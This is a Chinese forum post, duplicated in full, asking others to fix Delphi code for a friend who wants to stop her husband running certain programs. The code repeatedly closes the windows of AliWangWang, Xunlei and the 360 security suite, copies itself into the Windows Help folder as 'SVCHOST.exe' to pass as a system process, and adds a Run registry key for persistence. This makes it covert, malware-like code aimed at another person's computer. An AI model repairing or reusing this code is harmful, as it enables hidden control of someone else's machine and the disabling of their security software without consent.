Y
yubaicai
Unregistered / Unconfirmed
GUEST, unregistred user!
我亲亲家电脑不想让他老公运行一些软件,来找我想办法,我写了了个程序不行
大家看看那错了?我朋友帮我该了下,还是不行
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,StdCtrls, ExtCtrls,Registry;
const
closefile :array[0..2] of string=('阿里旺旺','迅雷5','360安全卫士');
type
TForm1 = class(TForm)
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
var
I: Integer;
hkdpr: hwnd;
begin
for I := 0 to high(closefile)-1 do // Iterate
begin
hkdpr:=findwindow(nil,pchar(closefile));
if hkdpr<>0 then
postmessage(hkdpr,wm_close,0,0);
end; // for
end;
procedure TForm1.FormCreate(Sender: TObject);
var
hkdpr: hwnd;
i: integer;
begin
repeat
i:=1;
hkdpr:=findwindow(nil,'阿里旺旺');
if hkdpr<>0 then
postmessage(hkdpr,wm_close,0,0);
i:=i+1;
until i=2
end;
var
reg:tregistry;
begin
reg:=tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('SOFTWARE/Microsoft/Windows/CurrentVersion/Run',true);
reg.WriteString('SVCHOST.exe','C:/WINDOWS/Help/SVCHOST.exe');
reg.closekey;
reg.free;
CopyFile(pchar('SVCHOST.exe'),pchar('c:/WINDOWS/Help/SVCHOST.exe'),false);
end.
不知道怎么搞了,大家帮助下
一个一个就能禁止,可加起来就不行,我想让他们都不能运行
大家看看那错了?我朋友帮我该了下,还是不行
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,StdCtrls, ExtCtrls,Registry;
const
closefile :array[0..2] of string=('阿里旺旺','迅雷5','360安全卫士');
type
TForm1 = class(TForm)
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
var
I: Integer;
hkdpr: hwnd;
begin
for I := 0 to high(closefile)-1 do // Iterate
begin
hkdpr:=findwindow(nil,pchar(closefile));
if hkdpr<>0 then
postmessage(hkdpr,wm_close,0,0);
end; // for
end;
procedure TForm1.FormCreate(Sender: TObject);
var
hkdpr: hwnd;
i: integer;
begin
repeat
i:=1;
hkdpr:=findwindow(nil,'阿里旺旺');
if hkdpr<>0 then
postmessage(hkdpr,wm_close,0,0);
i:=i+1;
until i=2
end;
var
reg:tregistry;
begin
reg:=tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('SOFTWARE/Microsoft/Windows/CurrentVersion/Run',true);
reg.WriteString('SVCHOST.exe','C:/WINDOWS/Help/SVCHOST.exe');
reg.closekey;
reg.free;
CopyFile(pchar('SVCHOST.exe'),pchar('c:/WINDOWS/Help/SVCHOST.exe'),false);
end.
不知道怎么搞了,大家帮助下
一个一个就能禁止,可加起来就不行,我想让他们都不能运行